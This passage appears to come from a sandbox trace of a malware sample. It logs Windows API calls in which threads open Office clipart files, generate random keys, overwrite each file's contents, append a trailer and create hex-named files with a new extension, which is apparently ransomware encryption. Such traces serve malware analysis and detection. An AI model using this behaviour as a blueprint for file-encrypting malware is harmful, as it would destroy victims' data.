cAlternateFileName="")) returned 1 [0127.904] wcscmp (_String1="PDFShell.UKR", _String2=".") returned 1 [0127.904] wcscmp (_String1="PDFShell.UKR", _String2="..") returned 1 [0127.904] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x20507f50 [0127.904] wcscpy (in: _Dest=0x20507f50, _Source="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX" [0127.904] wcscat (in: _Dest=0x20507f50, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\" [0127.905] wcscat (in: _Dest=0x20507f50, _Source="PDFShell.UKR" | out: _Dest="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.UKR") returned="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\ActiveX\\PDFShell.UKR" [0127.905] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x20507f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x19f0 [0127.906] FindNextFileW (in: hFindFile=0x1cd9d5b0, lpFindFileData=0x1cd991e0 | out: lpFindFileData=0x1cd991e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81d35bc0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x49600, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDFShell.UKR", cAlternateFileName="")) returned 0 [0127.906] FindClose (in: hFindFile=0x1cd9d5b0 | out: hFindFile=0x1cd9d5b0) returned 1 [0127.908] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd991e0) returned 1 [0127.908] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20504010) returned 1 [0127.908] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869840) returned 1 Thread: id = 1554 os_tid = 0x1a9c [0121.078] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf")) returned 0x20 [0122.436] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF", dwFileAttributes=0x20) returned 1 [0122.466] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xfcc [0122.585] GetFileSizeEx (in: hFile=0xfcc, lpFileSize=0x1fb3fac0 | out: lpFileSize=0x1fb3fac0*=5580) returned 1 [0122.585] SetFilePointerEx (in: hFile=0xfcc, liDistanceToMove=0x15c8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.585] ReadFile (in: hFile=0xfcc, lpBuffer=0x1fb3fa40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1fb3fa88, lpOverlapped=0x0 | out: lpBuffer=0x1fb3fa40*, lpNumberOfBytesRead=0x1fb3fa88*=0x4, lpOverlapped=0x0) returned 1 [0122.596] SetFilePointerEx (in: hFile=0xfcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.596] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a990 [0122.596] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e110 [0122.596] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e1a0 [0122.597] NtQuerySystemTime (in: CurrentTime=0x1fb3f980 | out: CurrentTime=0x1fb3f980*=132462177279742000) returned 0x0 [0122.597] RtlRandomEx (in: Seed=0x1fb3f970 | out: Seed=0x1fb3f970) returned 0x195603b [0122.597] RtlRandomEx (in: Seed=0x1fb3f970 | out: Seed=0x1fb3f970) returned 0x637f3b9d [0122.597] RtlRandomEx (in: Seed=0x1fb3f970 | out: Seed=0x1fb3f970) returned 0x42882d1d [0122.597] RtlRandomEx (in: Seed=0x1fb3f970 | out: Seed=0x1fb3f970) returned 0x3ce56c7e [0122.597] RtlRandomEx (in: Seed=0x1fb3f970 | out: Seed=0x1fb3f970) returned 0x15bbb862 [0122.597] RtlRandomEx (in: Seed=0x1fb3f970 | out: Seed=0x1fb3f970) returned 0x21dcd5d7 [0122.597] RtlRandomEx (in: Seed=0x1fb3f970 | out: Seed=0x1fb3f970) returned 0x15e21c7f [0122.597] RtlRandomEx (in: Seed=0x1fb3f970 | out: Seed=0x1fb3f970) returned 0x2e6281ac [0122.597] RtlRandomEx (in: Seed=0x1fb3f970 | out: Seed=0x1fb3f970) returned 0x7034449f [0122.597] RtlRandomEx (in: Seed=0x1fb3f970 | out: Seed=0x1fb3f970) returned 0x508b3916 [0122.597] RtlRandomEx (in: Seed=0x1fb3f970 | out: Seed=0x1fb3f970) returned 0x477226c1 [0122.597] RtlRandomEx (in: Seed=0x1fb3f970 | out: Seed=0x1fb3f970) returned 0x13868dc0 [0122.597] RtlRandomEx (in: Seed=0x1fb3f970 | out: Seed=0x1fb3f970) returned 0x29509270 [0122.597] RtlRandomEx (in: Seed=0x1fb3f970 | out: Seed=0x1fb3f970) returned 0x7970b3b9 [0122.597] RtlRandomEx (in: Seed=0x1fb3f970 | out: Seed=0x1fb3f970) returned 0x79f94627 [0122.597] RtlRandomEx (in: Seed=0x1fb3f970 | out: Seed=0x1fb3f970) returned 0x3a7e7142 [0122.597] RtlRandomEx (in: Seed=0x1fb3f970 | out: Seed=0x1fb3f970) returned 0x276ac0ce [0122.597] RtlRandomEx (in: Seed=0x1fb3f970 | out: Seed=0x1fb3f970) returned 0x63ae3430 [0122.597] RtlRandomEx (in: Seed=0x1fb3f970 | out: Seed=0x1fb3f970) returned 0x14544b12 [0122.597] RtlRandomEx (in: Seed=0x1fb3f970 | out: Seed=0x1fb3f970) returned 0x431df6d7 [0122.597] RtlRandomEx (in: Seed=0x1fb3f970 | out: Seed=0x1fb3f970) returned 0x2e6281ac [0122.597] RtlRandomEx (in: Seed=0x1fb3f970 | out: Seed=0x1fb3f970) returned 0x226de54 [0122.597] RtlRandomEx (in: Seed=0x1fb3f970 | out: Seed=0x1fb3f970) returned 0x17f843ed [0122.597] RtlRandomEx (in: Seed=0x1fb3f970 | out: Seed=0x1fb3f970) returned 0x73d19066 [0122.597] RtlRandomEx (in: Seed=0x1fb3f970 | out: Seed=0x1fb3f970) returned 0x19de153a [0122.598] RtlRandomEx (in: Seed=0x1fb3f970 | out: Seed=0x1fb3f970) returned 0x74a73133 [0122.598] RtlRandomEx (in: Seed=0x1fb3f970 | out: Seed=0x1fb3f970) returned 0x587851ec [0122.598] RtlRandomEx (in: Seed=0x1fb3f970 | out: Seed=0x1fb3f970) returned 0x508b3916 [0122.598] RtlRandomEx (in: Seed=0x1fb3f970 | out: Seed=0x1fb3f970) returned 0x1d86cac1 [0122.598] RtlRandomEx (in: Seed=0x1fb3f970 | out: Seed=0x1fb3f970) returned 0x1330dc40 [0122.598] RtlRandomEx (in: Seed=0x1fb3f970 | out: Seed=0x1fb3f970) returned 0x8075c18 [0122.598] RtlRandomEx (in: Seed=0x1fb3f970 | out: Seed=0x1fb3f970) returned 0x2b2b5e5f [0122.604] ReadFile (in: hFile=0xfcc, lpBuffer=0x20442eb0, nNumberOfBytesToRead=0x15cc, lpNumberOfBytesRead=0x1fb3f970, lpOverlapped=0x0 | out: lpBuffer=0x20442eb0*, lpNumberOfBytesRead=0x1fb3f970*=0x15cc, lpOverlapped=0x0) returned 1 [0122.617] SetFilePointerEx (in: hFile=0xfcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.618] WriteFile (in: hFile=0xfcc, lpBuffer=0x2046c360*, nNumberOfBytesToWrite=0x15cc, lpNumberOfBytesWritten=0x1fb3f974, lpOverlapped=0x0 | out: lpBuffer=0x2046c360*, lpNumberOfBytesWritten=0x1fb3f974*=0x15cc, lpOverlapped=0x0) returned 1 [0160.841] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a23f0 [0160.841] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2420 [0160.841] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2420) returned 1 [0160.841] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2046c360) returned 1 [0160.841] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20442eb0) returned 1 [0160.842] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503990) returned 1 [0160.842] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420594c0) returned 1 [0160.842] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a2420 [0160.842] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420594c0 [0160.842] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503990 [0160.842] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2450 [0160.843] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2450) returned 1 [0160.843] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x423a2450 [0160.843] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a2480 [0160.843] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a24b0 [0160.843] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a24b0) returned 1 [0160.844] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503990) returned 1 [0160.844] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420594c0) returned 1 [0160.844] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x10a) returned 0x1ce13430 [0160.844] SetFilePointerEx (in: hFile=0xfcc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0160.844] WriteFile (in: hFile=0xfcc, lpBuffer=0x1ce13430*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x1fb3fa90, lpOverlapped=0x0 | out: lpBuffer=0x1ce13430*, lpNumberOfBytesWritten=0x1fb3fa90*=0x10a, lpOverlapped=0x0) returned 1 [0165.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42059290 [0165.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b869640 [0165.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e290 [0165.510] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e290) returned 1 [0165.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d1c0 [0165.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e290 [0165.510] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e260 [0165.511] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e260) returned 1 [0165.511] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869640) returned 1 [0165.511] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059290) returned 1 [0165.511] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cd9fc70 [0165.511] sprintf (in: _Dest=0x1cd9fc70, _Format="%c%c" | out: _Dest="2b") returned 2 [0165.512] sprintf (in: _Dest=0x1cd9fc72, _Format="%c%c" | out: _Dest="76") returned 2 [0165.512] sprintf (in: _Dest=0x1cd9fc74, _Format="%c%c" | out: _Dest="c2") returned 2 [0165.512] sprintf (in: _Dest=0x1cd9fc76, _Format="%c%c" | out: _Dest="56") returned 2 [0165.512] sprintf (in: _Dest=0x1cd9fc78, _Format="%c%c" | out: _Dest="4c") returned 2 [0165.512] sprintf (in: _Dest=0x1cd9fc7a, _Format="%c%c" | out: _Dest="e9") returned 2 [0165.512] sprintf (in: _Dest=0x1cd9fc7c, _Format="%c%c" | out: _Dest="56") returned 2 [0165.512] sprintf (in: _Dest=0x1cd9fc7e, _Format="%c%c" | out: _Dest="fd") returned 2 [0165.512] sprintf (in: _Dest=0x1cd9fc80, _Format="%c%c" | out: _Dest="93") returned 2 [0165.512] sprintf (in: _Dest=0x1cd9fc82, _Format="%c%c" | out: _Dest="aa") returned 2 [0165.512] sprintf (in: _Dest=0x1cd9fc84, _Format="%c%c" | out: _Dest="cd") returned 2 [0165.512] sprintf (in: _Dest=0x1cd9fc86, _Format="%c%c" | out: _Dest="3d") returned 2 [0165.512] sprintf (in: _Dest=0x1cd9fc88, _Format="%c%c" | out: _Dest="77") returned 2 [0165.512] sprintf (in: _Dest=0x1cd9fc8a, _Format="%c%c" | out: _Dest="ac") returned 2 [0165.512] sprintf (in: _Dest=0x1cd9fc8c, _Format="%c%c" | out: _Dest="e4") returned 2 [0165.512] sprintf (in: _Dest=0x1cd9fc8e, _Format="%c%c" | out: _Dest="f5") returned 2 [0165.512] sprintf (in: _Dest=0x1cd9fc90, _Format="%c%c" | out: _Dest="22") returned 2 [0165.512] sprintf (in: _Dest=0x1cd9fc92, _Format="%c%c" | out: _Dest="26") returned 2 [0165.512] sprintf (in: _Dest=0x1cd9fc94, _Format="%c%c" | out: _Dest="71") returned 2 [0165.512] sprintf (in: _Dest=0x1cd9fc96, _Format="%c%c" | out: _Dest="00") returned 2 [0165.512] sprintf (in: _Dest=0x1cd9fc98, _Format="%c%c" | out: _Dest="86") returned 2 [0165.512] sprintf (in: _Dest=0x1cd9fc9a, _Format="%c%c" | out: _Dest="f9") returned 2 [0165.513] sprintf (in: _Dest=0x1cd9fc9c, _Format="%c%c" | out: _Dest="32") returned 2 [0165.513] sprintf (in: _Dest=0x1cd9fc9e, _Format="%c%c" | out: _Dest="c6") returned 2 [0165.513] RtlInitAnsiString (in: DestinationString=0x1fb3fb08, SourceString="2b76c2564ce956fd93aacd3d77ace4f52226710086f932c6" | out: DestinationString="2b76c2564ce956fd93aacd3d77ace4f52226710086f932c6") [0165.513] RtlAnsiStringToUnicodeString (in: DestinationString=0x1fb3fad8, SourceString="2b76c2564ce956fd93aacd3d77ace4f52226710086f932c6", AllocateDestinationString=1 | out: DestinationString="2b76c2564ce956fd93aacd3d77ace4f52226710086f932c6") returned 0x0 [0165.513] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x1ce151b0 [0165.513] RtlFreeAnsiString (AnsiString="2") [0165.513] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9fc70) returned 1 [0165.514] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82d1c0) returned 1 [0165.514] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e290) returned 1 [0165.514] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce13430) returned 1 [0165.514] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2450) returned 1 [0165.515] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2480) returned 1 [0165.515] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a2420) returned 1 [0165.515] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a23f0) returned 1 [0165.515] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e110) returned 1 [0165.515] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e1d0) returned 1 [0165.515] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e200) returned 1 [0165.515] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x8e) returned 0x42c30e50 [0165.516] wcscat (in: _Dest=0x42c30e50, _Source="2b76c2564ce9" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2b76c2564ce9") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2b76c2564ce9" [0165.522] wcscat (in: _Dest=0x42c30e50, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2b76c2564ce9.2f9b60") returned="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2b76c2564ce9.2f9b60" [0165.522] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2b76c2564ce9.2f9b60", NtPathName=0x1fb3fab0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\2b76c2564ce9.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0165.523] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x42c368d0 Thread: id = 1555 os_tid = 0x1aa0 [0121.081] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf")) returned 0x20 [0122.436] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF", dwFileAttributes=0x20) returned 1 [0122.465] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xfd0 [0122.573] GetFileSizeEx (in: hFile=0xfd0, lpFileSize=0x21cff720 | out: lpFileSize=0x21cff720*=3524) returned 1 [0122.573] SetFilePointerEx (in: hFile=0xfd0, liDistanceToMove=0xdc0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.573] ReadFile (in: hFile=0xfd0, lpBuffer=0x21cff6a0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x21cff6e8, lpOverlapped=0x0 | out: lpBuffer=0x21cff6a0*, lpNumberOfBytesRead=0x21cff6e8*=0x4, lpOverlapped=0x0) returned 1 [0122.586] SetFilePointerEx (in: hFile=0xfd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.586] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a990 [0122.586] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e080 [0122.586] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e110 [0122.586] NtQuerySystemTime (in: CurrentTime=0x21cff5e0 | out: CurrentTime=0x21cff5e0*=132462177279742000) returned 0x0 [0122.586] RtlRandomEx (in: Seed=0x21cff5d0 | out: Seed=0x21cff5d0) returned 0xb5f10c [0122.587] RtlRandomEx (in: Seed=0x21cff5d0 | out: Seed=0x21cff5d0) returned 0x6a0d5024 [0122.587] RtlRandomEx (in: Seed=0x21cff5d0 | out: Seed=0x21cff5d0) returned 0x2bc3ff4c [0122.587] RtlRandomEx (in: Seed=0x21cff5d0 | out: Seed=0x21cff5d0) returned 0x364b6b2d [0122.587] RtlRandomEx (in: Seed=0x21cff5d0 | out: Seed=0x21cff5d0) returned 0x45e7594c [0122.587] RtlRandomEx (in: Seed=0x21cff5d0 | out: Seed=0x21cff5d0) returned 0x76135cb0 [0122.587] RtlRandomEx (in: Seed=0x21cff5d0 | out: Seed=0x21cff5d0) returned 0x5478c593 [0122.587] RtlRandomEx (in: Seed=0x21cff5d0 | out: Seed=0x21cff5d0) returned 0x392b3393 [0122.587] RtlRandomEx (in: Seed=0x21cff5d0 | out: Seed=0x21cff5d0) returned 0x4c77a931 [0122.587] RtlRandomEx (in: Seed=0x21cff5d0 | out: Seed=0x21cff5d0) returned 0x4ee622a1 [0122.587] RtlRandomEx (in: Seed=0x21cff5d0 | out: Seed=0x21cff5d0) returned 0x32328389 [0122.587] RtlRandomEx (in: Seed=0x21cff5d0 | out: Seed=0x21cff5d0) returned 0x526cd3b0 [0122.587] RtlRandomEx (in: Seed=0x21cff5d0 | out: Seed=0x21cff5d0) returned 0x5e98a08a [0122.587] RtlRandomEx (in: Seed=0x21cff5d0 | out: Seed=0x21cff5d0) returned 0x7c1dd05b [0122.587] RtlRandomEx (in: Seed=0x21cff5d0 | out: Seed=0x21cff5d0) returned 0x22c0112e [0122.587] RtlRandomEx (in: Seed=0x21cff5d0 | out: Seed=0x21cff5d0) returned 0x7c4784ec [0122.587] RtlRandomEx (in: Seed=0x21cff5d0 | out: Seed=0x21cff5d0) returned 0x1f961a47 [0122.587] RtlRandomEx (in: Seed=0x21cff5d0 | out: Seed=0x21cff5d0) returned 0x7d5d255d [0122.587] RtlRandomEx (in: Seed=0x21cff5d0 | out: Seed=0x21cff5d0) returned 0x3d12e1a5 [0122.587] RtlRandomEx (in: Seed=0x21cff5d0 | out: Seed=0x21cff5d0) returned 0x4fdd7ea3 [0122.587] RtlRandomEx (in: Seed=0x21cff5d0 | out: Seed=0x21cff5d0) returned 0x4584d52c [0122.587] RtlRandomEx (in: Seed=0x21cff5d0 | out: Seed=0x21cff5d0) returned 0x626d1842 [0122.587] RtlRandomEx (in: Seed=0x21cff5d0 | out: Seed=0x21cff5d0) returned 0x17128e9f [0122.587] RtlRandomEx (in: Seed=0x21cff5d0 | out: Seed=0x21cff5d0) returned 0x32a37b53 [0122.587] RtlRandomEx (in: Seed=0x21cff5d0 | out: Seed=0x21cff5d0) returned 0x37ad8b08 [0122.587] RtlRandomEx (in: Seed=0x21cff5d0 | out: Seed=0x21cff5d0) returned 0x73d19066 [0122.587] RtlRandomEx (in: Seed=0x21cff5d0 | out: Seed=0x21cff5d0) returned 0x3773a979 [0122.587] RtlRandomEx (in: Seed=0x21cff5d0 | out: Seed=0x21cff5d0) returned 0x277963ad [0122.587] RtlRandomEx (in: Seed=0x21cff5d0 | out: Seed=0x21cff5d0) returned 0x15330540 [0122.587] RtlRandomEx (in: Seed=0x21cff5d0 | out: Seed=0x21cff5d0) returned 0x5b43d887 [0122.587] RtlRandomEx (in: Seed=0x21cff5d0 | out: Seed=0x21cff5d0) returned 0x5d0bf1bc [0122.587] RtlRandomEx (in: Seed=0x21cff5d0 | out: Seed=0x21cff5d0) returned 0x1de0fbf [0122.594] ReadFile (in: hFile=0xfd0, lpBuffer=0x20477790, nNumberOfBytesToRead=0xdc4, lpNumberOfBytesRead=0x21cff5d0, lpOverlapped=0x0 | out: lpBuffer=0x20477790*, lpNumberOfBytesRead=0x21cff5d0*=0xdc4, lpOverlapped=0x0) returned 1 [0122.595] SetFilePointerEx (in: hFile=0xfd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0122.595] WriteFile (in: hFile=0xfd0, lpBuffer=0x2043f2a0*, nNumberOfBytesToWrite=0xdc4, lpNumberOfBytesWritten=0x21cff5d4, lpOverlapped=0x0 | out: lpBuffer=0x2043f2a0*, lpNumberOfBytesWritten=0x21cff5d4*=0xdc4, lpOverlapped=0x0) returned 1 [0122.839] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f340 [0122.840] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050f370 [0122.840] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050f370) returned 1 [0122.840] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2043f2a0) returned 1 [0122.840] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20477790) returned 1 [0122.840] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85d590) returned 1 [0122.840] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42059470) returned 1 [0122.840] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x2050f370 [0122.840] SetFilePointerEx (in: hFile=0xfd0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0122.840] WriteFile (in: hFile=0xfd0, lpBuffer=0x204ffe70*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x21cff6f0, lpOverlapped=0x0 | out: lpBuffer=0x204ffe70*, lpNumberOfBytesWritten=0x21cff6f0*=0x10a, lpOverlapped=0x0) returned 1 [0123.063] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97d50 [0123.063] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x20503f10 [0123.063] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e050 [0123.063] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e050) returned 1 [0123.063] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b7d5a50 [0123.063] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e050 [0123.063] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x2050e020 [0123.064] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2050e020) returned 1 [0123.064] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20503f10) returned 1 [0123.064] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97d50) returned 1 [0123.064] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1cda0670 [0123.064] sprintf (in: _Dest=0x1cda0670, _Format="%c%c" | out: _Dest="d9") returned 2 [0123.064] sprintf (in: _Dest=0x1cda0672, _Format="%c%c" | out: _Dest="95") returned 2 [0123.064] sprintf (in: _Dest=0x1cda0674, _Format="%c%c" | out: _Dest="f0") returned 2 [0123.064] sprintf (in: _Dest=0x1cda0676, _Format="%c%c" | out: _Dest="31") returned 2 [0123.064] sprintf (in: _Dest=0x1cda0678, _Format="%c%c" | out: _Dest="89") returned 2 [0123.064] sprintf (in: _Dest=0x1cda067a, _Format="%c%c" | out: _Dest="a7") returned 2 [0123.064] sprintf (in: _Dest=0x1cda067c, _Format="%c%c" | out: _Dest="40") returned 2 [0123.064] sprintf (in: _Dest=0x1cda067e, _Format="%c%c" | out: _Dest="6a") returned 2 [0123.064] sprintf (in: _Dest=0x1cda0680, _Format="%c%c" | out: _Dest="e2") returned 2 [0123.064] sprintf (in: _Dest=0x1cda0682, _Format="%c%c" | out: _Dest="af") returned 2 [0123.064] sprintf (in: _Dest=0x1cda0684, _Format="%c%c" | out: _Dest="5c") returned 2 [0123.064] sprintf (in: _Dest=0x1cda0686, _Format="%c%c" | out: _Dest="64") returned 2 [0123.064] sprintf (in: _Dest=0x1cda0688, _Format="%c%c" | out: _Dest="00") returned 2 [0123.064] sprintf (in: _Dest=0x1cda068a, _Format="%c%c" | out: _Dest="19") returned 2 [0123.064] sprintf (in: _Dest=0x1cda068c, _Format="%c%c" | out: _Dest="2d") returned 2 [0123.065] sprintf (in: _Dest=0x1cda068e, _Format="%c%c" | out: _Dest="de") returned 2 [0123.065] sprintf (in: _Dest=0x1cda0690, _Format="%c%c" | out: _Dest="1b") returned 2 [0123.065] sprintf (in: _Dest=0x1cda0692, _Format="%c%c" | out: _Dest="e8") returned 2 [0123.065] sprintf (in: _Dest=0x1cda0694, _Format="%c%c" | out: _Dest="07") returned 2 [0123.065] sprintf (in: _Dest=0x1cda0696, _Format="%c%c" | out: _Dest="9a") returned 2 [0123.065] sprintf (in: _Dest=0x1cda0698, _Format="%c%c" | out: _Dest="e1") returned 2 [0123.065] sprintf (in: 